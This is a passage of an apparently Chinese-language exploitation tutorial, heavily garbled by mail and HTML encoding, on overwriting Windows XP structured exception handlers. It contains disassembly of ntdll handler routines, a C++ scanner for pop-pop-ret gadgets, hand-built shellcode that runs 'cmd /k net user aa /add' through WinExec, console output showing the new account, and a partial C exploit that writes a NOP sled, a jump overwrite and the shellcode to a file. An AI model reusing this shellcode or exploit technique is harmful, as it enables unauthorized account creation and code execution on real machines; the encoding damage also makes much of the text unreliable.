.text:77F60BEF    =              = = call    sub_0_77F79B46  ---&#61664;=CE=D2= =C3=C7=B8=FA=BD=F8=C8=A5=B4=CB=B4=A6
.text:77F60BF4   &= nbsp;           &n= bsp;=20 test    byte_0_77FC324A,=20 = 80h
.text:77F60BFB        &nbs= p;       =20 mov     edi,=20 = eax
.text:77F60BFD        &nbs= p;       =20 jnz     loc_0_77F87B8C
.text:77F60C03 =
.text:77F60C03=20 = loc_0_77F60C03:         &nbs= p;            = ;  =20 ; CODE XREF: .text:77F87B95=20 = j
.text:77F60C03         =        =20 cmp     [ebp+arg_0],=20 = ebx
.text:77F60C06        &nbs= p;       =20 = jz      loc_0_77F87B9A
.text:77F60C0C=20
.text:77F60C0C=20 = loc_0_77F60C0C:         &nbs= p;            = ;  =20 ; CODE XREF: .text:77F87BA2=20 = j
.text:77F60C0C         =        =20 mov     eax,=20 = edi
.text:77F60C0E        &nbs= p;       =20 xor     ecx,=20 = ecx
.text:77F60C10        &nbs= p;       =20 sub     eax,=20 = ecx
.text:77F60C12        &nbs= p;       =20 = jz      loc_0_77F74056
.text:77F60C18&nb= sp;           &nbs= p;   =20 dec    =20 = eax
.text:77F60C19        &nbs= p;       =20 jnz     loc_0_77F87BA7
.text:77F60C1F =
.text:77F60C1F=20 = loc_0_77F60C1F:         &nbs= p;            = ;  =20 ; CODE XREF: .text:77F87BBD=20 = j
.text:77F60C1F         =             &= nbsp;           &n= bsp;      =20 ; .text:77F87BC6 j=20 = ...
.text:77F60C1F        &nbs= p;       =20 mov     ebx,=20 = [ebx]
.text:77F60C21        &n= bsp;       =20 jmp     loc_0_77F60B9E
.text:77F60C21 = = sub_0_77F60B69  endp

=B3=CC=D0=F2=C0=B4=B5=BD
.text:7= 7F79B46=20 sub_0_77F79B46  proc=20 = near           &nb= sp;  =20 ; CODE XREF: sub_0_77F60B69+86=20 = p
.text:77F79B46         =        =20 mov     edx, offset=20 = loc_0_77F79BB8
.text:77F79B4B       = ;         =20 jmp     short loc_0_77F79B54=20 ---&#61664;=BC=CC=D0=F8=B8=FA=BD=F8
.text:77F79B4B=20 = sub_0_77F79B46  endp

=B3=CC=D0=F2=C0=B4=B5=BD
.text:7= 7F79B4D=20 _RtlpExecuteHandlerForUnwind@20 proc near ; CODE=20 XREF:
RtlUnwind(x,x,x,x)+BD p

.text:77F79B4D=20 sub_0_77F79B4D  proc=20 = near           &nb= sp;  =20 ; CODE XREF: RtlUnwind+BD p
.text:77F79B4D =
.text:77F79B4D=20 = arg_0           =3D=20 dword ptr  4
.text:77F79B4D=20 = arg_4           =3D=20 dword ptr  8
.text:77F79B4D=20 = arg_8           =3D=20 dword ptr  0Ch
.text:77F79B4D=20 = arg_C           =3D=20 dword ptr  10h
.text:77F79B4D=20 = arg_10          =3D=20 dword ptr  14h
.text:77F79B4D=20 =
.text:77F79B4D         &= nbsp;      =20 mov     edx, offset=20 = loc_0_77F79BDF
.text:77F79B52       = ;         =20 lea     ecx, [ecx]
.text:77F79B54=20
.text:77F79B54=20 = loc_0_77F79B54:         &nbs= p;            = ;  =20 ; CODE XREF: sub_0_77F79B46+5 j
.text:77F79B54=20 = ExecuteHandler@20:         &= nbsp;           &n= bsp;;=20 CODE XREF:
RtlpExecuteHandlerForException(x,x,x,x,x)+5=20 = j

.text:77F79B54        &n= bsp;       =20 = push    ebx
.text:77F79B55    =              = = push    esi
.text:77F79B56    =              = = push    edi
.text:77F79B57    =              = xor     eax,=20 = eax
.text:77F79B59        &nbs= p;       =20 xor     ebx,=20 = ebx
.text:77F79B5B        &nbs= p;       =20 xor     esi,=20 = esi
.text:77F79B5D        &nbs= p;       =20 xor     edi,=20 = edi
.text:77F79B5F        &nbs= p;       =20 = push    [esp+0Ch+arg_10]
.text:77F79B63  = ;            =   =20 = push    [esp+10h+arg_C]
.text:77F79B67  =             &= nbsp; =20 = push    [esp+14h+arg_8]
.text:77F79B6B  =             &= nbsp; =20 = push    [esp+18h+arg_4]
.text:77F79B6F  =             &= nbsp; =20 = push    [esp+1Ch+arg_0]
.text:77F79B73  =             &= nbsp; =20 = call    sub_0_77F79B7E-------&#61664;=BC=CC=D0=F8= =B8=FA=BD=F8
.text:77F79B78       &= nbsp;        =20 pop    =20 = edi
.text:77F79B79        &nbs= p;       =20 pop    =20 = esi
.text:77F79B7A        &nbs= p;       =20 pop    =20 = ebx
.text:77F79B7B        &nbs= p;       =20 retn    14h
.text:77F79B7B=20 = sub_0_77F79B4D  endp
.text:77F79B7B
.text:77F79B7B=20 _RtlpExecuteHandlerForUnwind@20 = endp

=D7=EE=BA=F3=C0=B4=B5=BD=B4=CB=B4=A6
.text:77F79B7E=20 ; Attributes: bp-based frame
.text:77F79B7E =
.text:77F79B7E=20 sub_0_77F79B7E  proc=20 = near           &nb= sp;  =20 ; CODE XREF: sub_0_77F79B4D+26 p
.text:77F79B7E=20
.text:77F79B7E=20 = arg_0           =3D=20 dword ptr  8
.text:77F79B7E=20 = arg_4           =3D=20 dword ptr  0Ch
.text:77F79B7E=20 = arg_8           =3D=20 dword ptr  10h
.text:77F79B7E=20 = arg_C           =3D=20 dword ptr  14h
.text:77F79B7E=20 = arg_10          =3D=20 dword ptr  18h
.text:77F79B7E=20 =
.text:77F79B7E         &= nbsp;      =20 = push    ebp
.text:77F79B7F    =              = mov     ebp,=20 = esp
.text:77F79B81        &nbs= p;       =20 = push    [ebp+arg_4]
.text:77F79B84  &nbs= p;            = ; =20 = push    edx
.text:77F79B85    =              = push    large dword ptr=20 = fs:0
.text:77F79B8C        &nb= sp;       =20 mov     large fs:0,=20 = esp
.text:77F79B93        &nbs= p;       =20 = push    [ebp+arg_C]
.text:77F79B96  &nbs= p;            = ; =20 = push    [ebp+arg_8]
.text:77F79B99  &nbs= p;            = ; =20 = push    [ebp+arg_4]
.text:77F79B9C  &nbs= p;            = ; =20 = push    [ebp+arg_0]
.text:77F79B9F  &nbs= p;            = ; =20 mov     ecx,=20 = [ebp+arg_10]
.text:77F79BA2       &= nbsp;        =20 call    ecx = --&#61664;=B4=CB=B4=A6=BE=CD=CA=C7=CE=D2=C3=C7=B8=B2=D0=B4=CE=AAKerne= l32 .dll=20 =D6=D0=B5=C4call=20 = ebx=B5=C4=B5=D8=D6=B7
.text:77F79BA4     &nbs= p;          =20 mov     esp, large=20 = fs:0
.text:77F79BAB        &nb= sp;       =20 pop     large dword ptr=20 = fs:0
.text:77F79BB2        &nb= sp;       =20 mov     esp,=20 = ebp
.text:77F79BB4        &nbs= p;       =20 pop    =20 = ebp
.text:77F79BB5        &nbs= p;       =20 retn    14h
.text:77F79BB5=20 sub_0_77F79B7E  endp
.text:77F79BB5




=D7=A2=D2=E2=B5=BD=CD=BC=C6=AC=D6=D0=B5=C4ECX=D6=D0=B5= =C4=D6=B5=D5=E2=C0=EF=BE=CD=CA=C7=B8=D5=B8=D5=B5=C4call=20 = ebx=B5=C4=B5=D8=D6=B7
=B5=AB=CA=C7=B8=F7=CE=BB=D3=D0=C3=BB=D3=D0=B7=A2= =CF=D6=D4=DA=B4=CB=B4=A6EBX=B2=A2=C3=BB=D3=D0=D6=B8=CF=F2=B5=B1=C7=B0=D2=EC= =B3=A3=B4=A6=C0=ED=BD=E1=B9=B9=A3=AC=CB=FB=BE=B9=C8=BB=CA=C70=A3=AC=D5=E2= =B8=F6=BD=E1=B9=FB=D5=E6=B5=C4=C8=C3=CE=D2=BA=DC=D1=C8=D2=EC=A3=AC=D5=E2=D1= =F9=B8=C4=D0=B4=CE=AAcall=20 = ebx=D2=B2=D6=BB=BB=E1=D3=D6=B2=FA=C9=FA=B4=ED=CE=F3=A3=AC=D5=E2=D1=F9=B8=F9= =B1=BE=BE=CD=B2=BB=BF=C9=D2=D4=D6=B4=D0=D0=B5=BD=CE=D2=C3=C7=B5=C4shellco= de
=CE=D2=C3=C7=BC=CC=D0=F8=B2=E2=CA=D4=CF=C2=C8=A5
=B8=FA=BD=F8=C8= =A5=B8=D5=B8=D5call=20 ecx



=B9=FB=C8=BB=D5=E6=B5=C4=C3=BB=D3=D0=B0=EC=B7=A8=D6=B8= =CF=F2=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9
=CE=D2=D2=BB=D6= =B1=D4=DA=D5=E2=B1=DF=C8=C6=C1=CB=BA=DC=BE=C3=A3=AC=CE=AA=CA=B2=C3=B4XP=CF= =C2=C3=BB=D3=D0=B0=EC=B7=A8=CA=B9=D3=C3EBX=B6=A8=CE=BB=C4=D8=A3=BF
=D3= =A6=B8=C3=D2=AA=BE=CD=B4=CB=B7=C5=C6=FA=C2=F0=A3=BF
=B5=B1=C8=BB=B2=BB= =A3=A1=CE=D2=D4=DA=CF=EB=BC=C8=C8=BB=B7=B5=BB=D8=B5=D8=D6=B7EBX=C8=E7=B9=FB= =B2=BB=D0=D0=A3=AC=D2=BB=B6=A8=BB=B9=D3=D0=B1=F0=B5=C4=B0=EC=B7=A8=C0=B4=BD= =E2=BE=F6=B6=A8=CE=BB=B5=C4=CE=CA=CC=E2

=CE=E5=A1=A2=C1=ED=D2=BB=D6= =D6=B6=A8=CE=BB=B7=BD=B7=A8
=CE=D2=D7=D0=CF=B8=B5=C4=BF=B4=D2=BB=CF=C2= =B6=D1=D5=BB=D6=D0=B5=C4=C4=DA=C8=DD=A3=AC=B7=A2=CF=D6=C1=CB=A3=AC=BD=E2=BE= =F6=B5=C4=B0=EC=B7=A8=C1=CB=A3=A1
=D3=C9=C9=CF=D2=BB=B8=F6=CD=BC=BF=C9= =D2=D4=BF=B4=B5=BD=B6=D1=D5=BB=C0=EF=C3=E6=C6=E4=CA=B5=BB=B9=CA=C7=D3=D0;= =B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=B5=C4=C7=B0=D2=BB=B8=F6=B5=D8=D6=B7=D4= =DA=C0=EF=C3=E6=A3=AC=BE=CD=CA=C70012ffb0=A3=AC=C4=C7=CE=D2=D2=AA=C8=E7=BA= =CE=CC=F8=B5=BD=B4=CB=B4=A6=C4=D8=A3=BF=CE=D2=CA=B9=D3=C3=C1=CB=D2=BB=B8=F6= =B0=EC=B7=A8=CE=D2=D4=DAdll=D6=D0=D1=B0=D5=D2=C1=BD=B4=CEpop=C8=A1=B3=F6=B6= =D1=D5=BB=CA=FD=BE=DD=A3=AC=C8=BB=BA=F3=D4=D9=D2=BB=B8=F6ret=BE=CD=BF=C9=D2= =D4=B7=B5=BB=D8=B5=BD0012ffb0=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9= =B9=B5=C4=C7=B0=D2=BB=B8=F6=B5=D8=D6=B7=A3=AC=BE=CD=BF=C9=D2=D4=D3=C3=C0=B4= =B6=A8=CE=BB=A1=A3
=CE=D2=CB=E6=D2=E2=B5=C4=CA=B9=D3=C3
Pop=20 edi
pop = esi
ret
=C8=BB=BA=F3=B8=C4=D0=B4=C1=CB=CB=D1=CB=F7DLL=B5=C4=B3=CC=D0= =F2
=C8=E7=CF=C2
CWinApp theApp;=20

using namespace std;

int _tmain(int argc, = TCHAR*=20 argv[], TCHAR* envp[])
{
     = int=20 nRetCode =3D 0;

     // = initialize MFC and=20 print and error on failure
     if=20 (!AfxWinInit(::GetModuleHandle(NULL), NULL, = ::GetCommandLine(), 0))=20
     {=20 =
          //=20 TODO: change error code to suit your needs=20 =
          cerr=20 << _T("Fatal Error: MFC initialization failed") = << endl;=20 =
          nRetCode = =3D 1;
     } =
    =20 else
     {=20 =
          #if=20 0=20 =
          return=20 0;=20 =
          __asm=20 pop=20 = di
           &= nbsp;    pop=20 = si
           &= nbsp;    ret
      &= nbsp;         
 &nbs= p;        #else=20

      bool = we_loaded_it =3D=20 false;=20 =
          =20 HINSTANCE h;
      TCHAR = dllname[]=20 =3D _T("User32");=20

        =20 = if(argc>1)    {
     &= nbsp;    =20 = strcpy(dllname,argv[1]);
       &nb= sp;=20 }

         h = =3D=20 GetModuleHandle(dllname);=20
         if(h = =3D=3D NULL)=20
         {=20 =
          h =3D=20 LoadLibrary(dllname);=20
         if(h = =3D=3D NULL)=20
         {=20 =
          =20 cout<<"ERROR LOADING DLL: = "<<dllname<<endl;=20
         return = 1;=20
         }=20
         = we_loaded_it =3D=20 true;
         } = =

           = ; =20 BYTE* ptr =3D (BYTE*)h;=20 =
           &nb= sp;=20 bool done =3D false;=20 =
           &nb= sp;=20 for(int y =3D 0;!done;y++)=20 =
           &nb= sp;=20 {=20 =
           &nb= sp;    try=20 =
           &nb= sp;    {=20 =
           &nb= sp;      =20 if(ptr[y] =3D=3D 0x5f && ptr[y+1] =3D=3D 0x5e = && ptr[y+2] =3D=3D=20 0xc3)//=D6=D8=D2=AA=B5=C4=B8=FC=B8=C4=B2=BF=B7=D6=20 =
           &nb= sp;      =20 {=20 =
           &nb= sp;        =20 int pos =3D (int)ptr + y;=20 =
           &nb= sp;        =20 cout<<"OPCODE found at = 0x"<<hex<<pos<<endl;=20 =
           &nb= sp;      =20 }=20 =
           &nb= sp;    }=20 =
           &nb= sp;        catch(...)=20 =
           &nb= sp;        {=20 =
           &nb= sp;          =20 cout<<"END OF "<<dllname<<" MEMORY=20 REACHED"<<endl;=20 =
           &nb= sp;          =20 done =3D true;=20 =
           &nb= sp;        }=20 =
           &nb= sp;=20 }=20 =



      if(we_loaded_it)=20 FreeLibrary(h); =
      #endif=20
     }
     = return=20 nRetCode;=20 =
}
=C8=BB=BA=F3=B1=E0=D2=EB=BA=F3=A3=AC=D6=B4=D0=D0=D1=B0=D5=D2=B4=CB= =C0=FB=D3=C3=B4=A6=B5=C4=B5=D8=D6=B7=A3=AC=CE=D2=D4=DAKernel32=D6=D0=D5=D2= =B5=BD=C1=CB0x77e5633a=D5=E2=B8=F6=B5=D8=D6=B7=A3=AC=C8=BB=BA=F3=BD=A8=C1= =A2=D2=BB=B8=F6=CE=C4=D7=D6=CE=C4=BC=FE



=C8=BB=BA=F3=CE=D2=C3=C7=BE=CD=C0=B4=B2=E2=CA=D4=D2=BB= =CF=C2
=BE=CD=B8=FA=C9=CF=C3=E6=D0=F0=CA=F6=B5=C4=B7=BD=B7=A8=D2=BB=D1= =F9=A3=AC=CE=D2=C3=C7=B8=FA=D7=D9=B5=BD.text:77F79BA2  call=20 = ecx=B5=C4=B5=D8=B7=BD
=C8=BB=BA=F3=B8=FA=BD=F8=C8=A5



=B5=B1pop=C1=BD=B4=CE=D6=AE=BA=F3=A3=AC=BE=CD=BF=C9=D2= =D4=B7=B5=BB=D8=B5=BD=A3=AC=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9= =D6=D0=C7=B0=D2=BB=B8=F6=B5=D8=D6=B7=C1=CB=A3=AC=D2=B2=BE=CD=CA=C70012ffb= 0=B5=C4=B5=D8=B7=BD=A3=AC=D2=B2=BE=CD=CA=C7ret=D6=AE=BA=F3=A3=AC=BE=CD=CC= =F8=B5=BD0012ffb0=B5=C4=B5=D8=B7=BD=C0=B4=D6=B4=D0=D0=B3=CC=D0=F2=B4=FA=C2= =EB=A3=AC=CE=D2=C3=C7=D6=D5=D3=DA=B3=C9=B9=A6=C1=CB=A3=AC=BF=C9=D2=D4=B6=A8= =CE=BBshellcode=C1=CB=A1=A3

=C1=F9=A1=A2=BC=F2=B5=A5=B5=C4Shellcod= e
=BA=DC=B6=E0=C8=CB=B6=BC=CB=B5=A3=AC=D2=E7=B3=F6=B5=C4=C0=FB=D3=C3=B7= =BD=B7=A8=BA=DC=C8=DD=D2=D7=C0=ED=BD=E2=A3=AC=B5=AB=CA=C7=C4=D1=B5=E3=D4=DA= =D3=DAshellcode=B5=C4=B1=E0=D0=B4=A3=AC
=CE=D2=D7=D4=BC=BA=D2=B2=BE=F5= =B5=C3=A3=AC=D0=B4shellcode=D5=E6=B5=C4=C2=F9=C2=E9=B7=B3=B5=C4=A3=AC=CF=D6= =D4=DA=BE=CD=B0=D1=CE=D2=D1=A7=CF=B0=B5=C4=D2=BB=D0=A9=D0=A9=BE=AD=D1=E9=A3= =AC=B8=FA=B4=F3=BC=D2=D0=F0=CA=F6=D2=BB=CF=C2=A3=AC
=BC=C8=C8=BB=CA=C7= shellcode=D2=B2=BE=CD=B1=D8=D0=EB=D2=AA=C1=CB=BD=E2=D7=EE=B5=CD=BD=D7=B5=C4= =BB=E3=B1=E0=A3=AC=D4=DAwin=CF=C2api=BA=AF=CA=FD=B5=C4=BA=F4=BD=D0=B7=BD=CA= =BD=A3=AC
=B1=C8=C8=E7=CB=B5=B6=D4=D2=BB=B8=F6Windows=20 API =C8=E7 = MessageBox=A9o=D4=DA=CA=D6=B2=E1=D6=D0=CA=C7=C8=E7=B4=CB=B6=A8=D2=E5=B5=C4= =A9s

int=20 MessageBox(
    HWND=20 = hWnd,           &n= bsp;//=20 handle of owner window
    LPCTSTR=20 lpText,        // = address of=20 text in message box
    LPCTSTR=20 lpCaption,    // address of title of = message=20 box  
    UINT=20 = uType          //=20 style of message box
  =20 = );

=C4=C7=C3=B4=D4=DA=BB=E3=B1=E0=D6=D0=BE=CD=BF=C9=D2=D4=D5=E2=D1= =F9=B5=F7=D3=C3=CB=FC=A9s

    push  =   uType
    push    = lpCaption
    push    lpText    push    hWnd
  = ;  call    MessageBox


=D5=E2=D1=F9= =D3=D0=D2=BB=D0=A9=B8=C5=C4=EE=C1=CB=B0=C9=A3=A1
=B5=B1=CE=D2=C3=C7=BA= =F4=BD=D0api=BA=AF=CA=FD=CA=B1=A3=AC=CA=C7=CF=C8=B2=CE=CA=FD=D1=BA=C8=EB=B6= =D1=D5=BB=D6=D0=A3=AC=C8=BB=BA=F3=BA=F4=BD=D0=B4=CBapi=D4=DADLL=BA=AF=CA=FD= =D6=D0=B5=C4=B5=D8=D6=B7=A1=A3
=BF=C9=CA=C7=CE=D2=C3=C7=D3=D0=C2=A9=B6= =B4=B5=C4=B3=CC=D0=F2=D6=D0=A3=AC=D2=F2=CE=AA=D0=B4=B5=C4=BA=DC=BC=F2=B5=A5= =A3=AC=D6=BB=D3=D0=BC=D3=D4=D8=C1=CB=A3=ACkernel32=B4=CBDLL=A3=AC=B5=AB=CA= =C7=CE=D2=C3=C7=C8=E7=B9=FB=D2=AA=D0=B4=B8=B4=D4=D3=B5=C4Shellcode=A3=AC=CA= =C6=B1=D8=D0=E8=D2=AA=B4=D3kernel32=D6=D0=B1=A9=C1=A6=C7=F3=C8=A1LoadLibr= aryA=A1=A2GetProcAddress=A3=AC=B5=AB=CA=C7=A1=A2=CE=D2=C3=C7=B5=C4=B6=D1=D5= =BB=D6=D0=B5=C4=B5=D8=D6=B7=A3=AC=CC=AB=D0=A1=C1=CB=A3=ACbuffer=D2=B2=D6=BB= =D3=D016=A3=AC=D4=D9=BC=D3=C9=CF=B8=B2=B8=C7=B5=BD=D2=EC=B3=A3=BD=E1=B9=B9= =B5=C4=B5=D8=D6=B7=D6=D0=BC=E4=B5=C4=B2=EE=B6=EE=A3=AC=D2=B2=B2=BB=B9=BB=C0= =B4=D0=B4=D2=BB=B8=F6=B8=B4=D4=D3=B5=C4shellcode=A3=AC=CB=F9=D2=D4=A3=AC=CE= =D2=C3=C7=D6=BB=C4=DC=C0=FB=D3=C3kernel32=B1=BE=C9=ED=D6=D0=B5=C4API=BA=AF= =CA=FD=A3=AC=D4=DA=D1=B0=D5=D2api=BA=AF=CA=FD=D6=D0=A3=AC=D5=D2=B5=BD=C1=CB= =D2=BB=B8=F6winexec=B5=C4=BA=AF=CA=FD=A3=AC
UINT=20 WinExec(
  LPCSTR lpCmdLine,  // = address of=20 command line
  UINT=20 uCmdShow      // window style = for new=20 = application
);
=B4=CB=BA=AF=CA=FD=BF=C9=D2=D4=C8=C3=CE=D2=C3=C7=C0=B4= =D6=B4=D0=D0=D2=BB=B8=F6cmd.exe
=CF=D6=D4=DA=BE=CD=C0=B4=B2=E2=CA=D4=D2= =BB=CF=C2
_shellcode:
00421A30=20 68 C1 15 35 09      =20 = push        93515C1h
00421A35 = 81 2C 24 80 D1 F0=20 = 08  sub        =20 dword ptr [esp],8F0D180h
00421A3C 68 61 61 20=20 2F      =20 = push        2F206161h
00421A41= =20 68 73 65 72 20      =20 = push        20726573h
00421A46= =20 68 65 74 20 75      =20 = push        75207465h
00421A4B= =20 68 2F 6B 20 6E      =20 = push        6E206B2Fh
00421A50= =20 68 63 6D 64 20      =20 = push        20646D63h
00421A55= =20 8B=20 = C4            = ;    mov       &nb= sp;=20 eax,esp
00421A57 6A=20 = 01            = ;    push       &n= bsp;1
00421A59=20 = 50            = ;      =20 = push        eax
00421A5A=20 B8 35 FD E4 77      =20 mov        =20 eax,77E4FD35h
00421A5F FF=20 = D0            = ;    call       &n= bsp;eax
=C7=B0=C3=E6=B5=C4=C1=BD=D0=D0=CE=AA
push=20 = 93515c1h
sub        =20 dword ptr=20 = [esp],8F0D180h
=D5=E2=CA=C7=CE=AA=C1=CB=BD=A8=B9=B9=D2=BB=B8=F6=BD=E1=CA= =F8=D7=D6=B7=FB00=CB=F9=D2=D4=CA=B9=D3=C3=B4=CB=B7=BD=B7=A8
=D6=B4=D0=D0= =BA=F3=B6=D1=D5=BB=C4=DA=CE=AAADD.=D2=B2=BE=CD=CA=C741 44 44=20 00
=C8=BB=BA=F3=CE=AA
0012FF70  63 6D 64 = 20  cmd=20
0012FF74  2F 6B 20 6E  /k=20 n
0012FF78  65 74 20 75  et=20 u
0012FF7C  73 65 72 20  ser=20
0012FF80  61 61 20 2F  aa=20 /
0012FF84  41 44 44=20 = 00  ADD.
=D3=D0=C3=BB=D3=D0=BF=B4=C6=F0=C0=B4=BA=DC=CA=EC=CF= =A4
=CE=D2=C3=C7=CB=F9=D1=BA=C8=EB=B5=C4=B2=CE=CA=FD=BE=CD=CA=C7cmd = /k net user aa=20 = /add
=B4=F3=BC=D2=D3=A6=B8=C3=D6=AA=B5=C0=D5=E2=B8=F6=D6=B8=C1=EE=B0=C9= =A3=A1
=BD=A8=C1=A2=D2=BB=B8=F6=CA=B9=D3=C3=D5=DF=CE=AAaa
=C8=BB=BA= =F3=CE=AA
mov        =20 = eax,esp
=BD=ABesp=B5=C4=B5=D8=D6=B7mov=B5=BDeax
=D2=B2=BE=CD=CA=C7=B0= =D1eax=D6=B8=CF=F20012ff70 cmd=B5=C4=B5=D8=D6=B7
00421A57 6A=20 = 01            = ;    push       &n= bsp;1
=CF=D6=D4=DA=BF=AA=CA=BC=D1=BA=C8=EB=B2=CE=CA=FD=A3=AC=D3=C9=D3=D2= =CD=F9=D7=F3=D2=C0=D0=F2=D1=BA=C8=EB
00421A59=20 = 50            = ;      =20 = push        eax
=D1=BA=C8=EB=B8= =D5=B8=D5=B5=C4=C3=FC=C1=EE=D0=D0=B2=CE=CA=FD=B5=D8=D6=B7
00421A5A=20 B8 35 FD E4 77      =20 mov        =20 = eax,77E4FD35h
=D5=E2=C0=EF=BE=CD=CA=C7winexec=B5=C4=B5=D8=D6=B777e4fd3= 5
=C3=BF=D2=BB=B8=F6=B0=E6=B1=BE=A3=AC=B4=CB=B5=D8=D6=B7=B6=BC=D3=D0=BF= =C9=C4=DC=B2=BB=D2=BB=D1=F9=A3=AC=C8=E7=B9=FB=C4=E3=D2=AA=D7=D4=BC=BA=D1=B0= =D5=D2=A3=AC=BF=C9=D2=D4=CA=B9=D3=C3softice=A3=AC=BB=F2=CA=C7=C0=FB=D3=C3= =A3=ACdumpbin=D6=B8=C1=EE=C0=B4=C8=A1=B5=C3=A3=AC=B0=D1kernel32=20 = dump=B3=F6=C0=B4=BA=AF=CA=FD=B5=D8=D6=B7=A3=AC=D4=D9=BC=D3=C9=CFkernel32=BB= =F9=D6=B7=B5=C4=B5=D8=D6=B7=A3=AC=BE=CD=BF=C9=D2=D4=C1=CB
00421A5F FF = = D0            = ;    call       &n= bsp;eax
=D7=EE=BA=F3call=20 = eax=BE=CD=CA=C7=BA=F4=BD=D0api=BA=AF=CA=FD

=D6=B4=D0=D0=BA=F3=CE=D2= =C3=C7net user=BF=B4=BF=B4
C:\>net=20 user

\\Student=20 = =B5=C4=CA=B9=D3=C3=D5=DF=D5=CB=BB=A7

-----------------------------= --------------------------------------------------
Administrator =            Guest&n= bsp;           &nb= sp;   Nanika    
aa  &nbs= p;         =20 =
=C3=FC=C1=EE=D6=B4=D0=D0=B3=C9=B9=A6=A1=A3
=B3=C9=B9=A6=B5=C4=D0=B4= =B3=F6=C1=CB=D2=BB=B8=F6=BC=F2=B5=A5=B5=C4shellcode=C1=CB=B0=C9=A3=A1
= =C1=ED=CD=E2=D2=F2=CE=AA=CE=D2=C3=C7=B5=C4=B3=CC=D0=F2=B7=A2=C9=FA=C1=CB=D2= =EC=B3=A3=A3=AC=CB=F9=D2=D4=D6=B4=D0=D0=CD=EA=CE=D2=C3=C7=B5=C4shellcode=BA= =F3=B2=A2=B2=BB=BB=E1=BD=E1=CA=F8=A3=AC=B6=F8=CA=C7=CF=DD=C8=EB=C1=CB=CE=DE= =C7=EE=D1=AD=BB=B7=A3=AC=CB=F9=D2=D4=CE=D2=C3=C7=B1=D8=D0=EB=D2=AA=B0=D1=D2= =EC=B3=A3=BD=E1=B9=B9=BB=D6=B8=B4=A3=AC=B5=AB=BA=DC=C2=E9=B7=B3=A3=AC=CB=F9= =D2=D4=CE=D2=C0=FB=D3=C3=D2=BB=B8=F6=BC=F2=B5=A5=B5=C4=B0=EC=B7=A8=A3=AC=BE= =CD=CA=C7=BA=F4=BD=D0ExitProcess=A3=AC=C0=B4=BD=E1=CA=F8=CE=D2=C3=C7=B5=C4= =D0=D0=B3=CC
VOID=20 ExitProcess(
  UINT uExitCode   // = exit code=20 for all = threads
);
=D5=E2=C0=EF=CA=B5=CF=D6API=BA=F4=BD=D0=B1=C8=BD=CF=BC=F2= =B5=A5=D6=BB=D0=E8=D2=AAcall=20 = ExitProcess=B5=C4api=BA=AF=CA=FD=B5=D8=D6=B7=BE=CD=BF=C9=D2=D4=C1=CB
=CE= =D2=C3=C7=CA=B9=D3=C3
mov eax 77e598fd
call=20 = eax
=BE=CD=BF=C9=D2=D4=CD=EA=B3=C9=BD=E1=CA=F8=D0=D0=B3=CC

=C6=DF= =A1=A2=CA=B5=CF=D6=B9=FD=B3=CC
=CF=D6=D4=DA=CE=D2=C3=C7=B1=D8=D0=EB=D2= =AA=BD=A8=C1=A2=D2=BB=B8=F6=CE=C4=D7=D6=CE=C4=BC=FE=A3=AC=B2=A2=C7=D2=BC=D3= =C8=EB=CE=D2=C3=C7=B5=C4shellcode=D4=DA=B5=B1=D6=D0
=A3=AC=CE=D2=C3=C7= =D2=AA=BC=D3=C8=EB=B5=BD=C4=C4=C0=EF=C4=D8=A3=BF=D5=E2=D3=D6=D2=FD=B7=A2=C1= =CB=D2=BB=B8=F6=CE=CA=CC=E2=A3=AC=CE=D2=C3=C7=C1=BD=B4=CEpop=C8=BB=BA=F3r= et=CA=C7=D4=DA=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9=C7=B0=D2=BB= =B8=F6=B5=D8=D6=B7=A3=AC0012ffb0=D6=D0=A3=AC=B5=AB=CA=C7=CE=D2=C3=C7=B5=C4= =CF=C2=D2=BB=B8=F6=B5=D8=D6=B70012ffb4=A3=AC=CA=C7=CE=D2=C3=C7=B8=B2=B8=C7= =CE=AAdll=D6=D0=B5=C4=C1=BD=B4=CEpop=A1=A2ret=20 = =B5=C4=B5=D8=D6=B7=A3=AC=CB=F9=D2=D4=CE=D2=C3=C7=B1=D8=D0=EB=D2=AA=B0=D1=D2= =EC=B3=A3=B4=A6=C0=ED=B5=C4=C7=B0=D2=BB=B8=F6=B5=D8=D6=B7=BC=D3=C8=EB=CE=AA=
eb 06 90 = 90=CA=B9=D3=C3=B4=CB=D6=B5=C0=B4=B8=B2=B8=C7=A3=AC=D5=E2=D2=B2=BE=CD=CA=C7= jmp=20 = 06=BE=CD=CA=C7=CC=F8=B9=FD0012ffb4=B5=C4=B5=D8=D6=B7=A3=AC=C8=BB=BA=F3=B5= =BD=B4=EF=A3=AC0012ffb8=B5=C4=B5=D8=D6=B7=A3=AC=BE=CD=B4=D3=D5=E2=C0=EF=C0= =B4=D0=B4=C8=EBshellcode=C0=B4=CD=EA=B3=C9=CE=D2=C3=C7=B5=C4=B9=A5=BB=F7=A1= =A3
=C2=A9=B6=B4=C0=FB=D3=C3=B3=CC=D0=F2
#include=20 <stdio.h>
int main()
{
int i;
char=20 buffer[127]=3D"";
unsigned char=20 = shellcode[]=3D
"\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08"
"= \x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\= x20\x6e"
"\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77= \xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0";


FILE=20 *fd=3DNULL;
fd =3D fopen("files.txt","w+");=20

for(i=3D0;i<sizeof(buffer);)=20 = //=CF=C8=B0=D1=B6=D1=D5=BB=CC=EE=C2=FA90=D2=B2=BE=CD=CA=C7nop
{
buf= fer[i++]=3D0x90;
}
*(unsigned int=20 *)&buffer[60]=3D0x909006eb; = //=C7=B0=D2=BB=B8=F6=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9=B5=C4=B5=D8=D6=B7= =B8=C4=D0=B4=B3=C9jmp 06
